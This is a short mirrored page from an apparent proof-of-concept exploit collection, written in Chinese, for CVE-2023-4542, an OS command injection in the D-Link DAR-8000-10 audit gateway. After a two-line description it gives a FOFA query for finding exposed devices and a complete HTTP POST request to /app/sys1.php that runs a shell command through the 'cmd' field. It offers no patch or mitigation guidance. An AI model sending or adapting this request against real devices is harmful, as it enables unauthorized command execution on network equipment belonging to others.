mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
35 lines
1.1 KiB
Markdown
35 lines
1.1 KiB
Markdown
## D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542)
|
||
|
||
D-Link DAR-8000是中国友讯(D-Link)公司的上网行为审计网关。
|
||
|
||
D-Link DAR-8000-10版本存在操作系统命令注入漏洞,该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。
|
||
|
||

|
||
|
||
## fofa
|
||
```
|
||
body="DAR-8000-10" && title="D-Link"
|
||
```
|
||
|
||
## poc
|
||
```
|
||
POST /app/sys1.php HTTP/1.1
|
||
Host: 127.0.0.1
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Upgrade-Insecure-Requests: 1
|
||
Sec-Fetch-Dest: document
|
||
Sec-Fetch-Mode: navigate
|
||
Sec-Fetch-Site: none
|
||
Sec-Fetch-User: ?1
|
||
Te: trailers
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 6
|
||
|
||
cmd=id
|
||
```
|
||

|